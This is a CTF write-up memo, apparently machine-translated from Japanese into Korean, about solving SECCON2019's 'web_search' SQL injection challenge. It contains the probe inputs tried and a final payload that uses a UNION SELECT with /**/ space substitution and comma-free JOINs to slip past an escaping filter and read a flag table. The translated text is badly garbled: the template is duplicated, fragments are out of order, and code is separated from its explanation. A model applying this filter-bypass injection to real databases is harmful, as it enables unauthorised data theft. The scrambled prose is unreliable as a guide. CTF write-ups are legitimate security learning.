CTF 해법 축적 메모
3527 단어 CTF
이것은 무엇입니까?
주요 장립
## ジャンル
### 問題名 (出題元) : XSSとかSQLiとかCodeInjectionとか...
解けたか解けなかったとか,所感とか書く
#### 問題と試行
ここに問題と,その試行の記録などを書く
#### 解法
ここに解法,まとめを書く
#### 知見
ここに解くことによって得た知見を書く
본체
Injection
web_search (SECCON2019) : SQLi
## ジャンル
### 問題名 (出題元) : XSSとかSQLiとかCodeInjectionとか...
解けたか解けなかったとか,所感とか書く
#### 問題と試行
ここに問題と,その試行の記録などを書く
#### 解法
ここに解法,まとめを書く
#### 知見
ここに解くことによって得た知見を書く
Injection
web_search (SECCON2019) : SQLi
문제와 시도
';--
라든지 해 보았다, 에러. ';#
로 해 보는, 보통의 결과가 돌아왔다 -> MySQL일까 SELECT rfc, desc from rfc_table WHERE rfc LIKE 'RFC%' AND desc LIKE '%ココ%';
가나 같은 소감 ' or 1;#
라든지 해본다. -> ';#
뭐야? ? ? ? ? ? << 여기서 드리겠습니다 해법
,
, ,or
이스케이프 된
ORだけ再帰的にエスケープされていない.
- これにより
OORR
,
를 사용할 수 없는 것에 관해서는 이하의 방법으로 해결할 수 있는 것 같다,
-
なしでSQLを組み立てる必要があった.
- スペースに関しては,
/**/
- join 하고, 목표의 개수가 될 때까지 연결한다.
,
-> flag가 flag 테이블에 있는 것을 가르쳐 준다.- flag 테이블의 결과를 union으로 끌어들이기
- RFC 번호와 그 설명이므로 ID 포함하여 3 개로 좋을까 -> 3 개 프레임을 준비해 둔다
-
SELECT * (SELECT 1)a join (SELECT 2)b join ...
- 위의 공백을
まず全件表示' OR(1)
로 바꿉니다.
결론
hoge' UNION SELECT * FROM (SELECT * FROM flag)a JOIN (SELECT 1)b JOIN (SELECT 2)c;#
는 공백으로 대체됩니다./**/
와 쉼표 없이 취득 - 우선 여러가지 시험해 본다.
payload.sql
'or(1);#
hoge'/**/UNION/**/SELECT*FROM(SELECT*FROM/**/flag)a/**/join(SELECT/**/1)b/**/join(SELECT/**/2)c;#`
지견
-
/**/
라든지 특히 움직이기 쉬운 물건을, 이스케이프만이라면 SQL이 에러에서도 알 수 있다 SELECT * FROM (SELECT 1)a JOIN(SELECT 2)b JOIN...
라는 기법도 있다
Reference
이 문제에 관하여(CTF 해법 축적 메모), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/Hiragi-GKUTH/items/5980a932d8f35e962c99텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)